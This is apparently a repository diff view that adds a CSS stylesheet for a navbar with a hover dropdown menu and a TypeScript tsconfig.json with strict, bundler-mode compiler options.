/* Links inside the navbar */
+
+
.navbar a {
+
float: left;
+
font-size: 16px;
+
color: white;
+
text-align: center;
+
padding: 14px 16px;
+
text-decoration: none;
+
}
+
+
/* The dropdown container */
+
.dropdown {
+
float: left;
+
overflow: hidden;
+
}
+
+
/* Dropdown button */
+
.dropdown .dropbtn {
+
font-size: 16px;
+
border: none;
+
outline: none;
+
color: white;
+
padding: 14px 16px;
+
background-color: inherit;
+
font-family: inherit; /* Important for vertical align on mobile phones */
+
margin: 0; /* Important for vertical align on mobile phones */
+
}
+
+
/* Add a red background color to navbar links on hover */
+
.navbar a:hover, .dropdown:hover .dropbtn {
+
background-color: #9a1a1a;
+
}
+
+
/* Dropdown content (hidden by default) */
+
.dropdown-content {
+
display: none;
+
position: absolute;
+
background-color: #f9f9f9;
+
min-width: 160px;
+
box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2);
+
z-index: 1;
+
}
+
+
/* Links inside the dropdown */
+
.dropdown-content a {
+
float: none;
+
color: black;
+
padding: 12px 16px;
+
text-decoration: none;
+
display: block;
+
text-align: left;
+
}
+
+
/* Add a grey background color to dropdown links on hover */
+
.dropdown-content a:hover {
+
background-color: #ddd;
+
}
+
+
/* Show the dropdown menu on hover */
+
.dropdown:hover .dropdown-content {
+
display: block;
+
}
+
+
.topnav-right {
+
float: right;
+
}
+29
tsconfig.json
···
+
{
+
"compilerOptions": {
+
// Environment setup & latest features
+
"lib": ["ESNext"],
+
"target": "ESNext",
+
"module": "Preserve",
+
"moduleDetection": "force",
+
"jsx": "react-jsx",
+
"allowJs": true,
+
+
// Bundler mode
+
"moduleResolution": "bundler",
+
"allowImportingTsExtensions": true,
+
"verbatimModuleSyntax": true,
+
"noEmit": true,
+
+
// Best practices
+
"strict": true,
+
"skipLibCheck": true,
+
"noFallthroughCasesInSwitch": true,
+
"noUncheckedIndexedAccess": true,
+
"noImplicitOverride": true,
+
+
// Some stricter flags (disabled by default)
+
"noUnusedLocals": false,
+
"noUnusedParameters": false,
+
"noPropertyAccessFromIndexSignature": false
+
}
+
}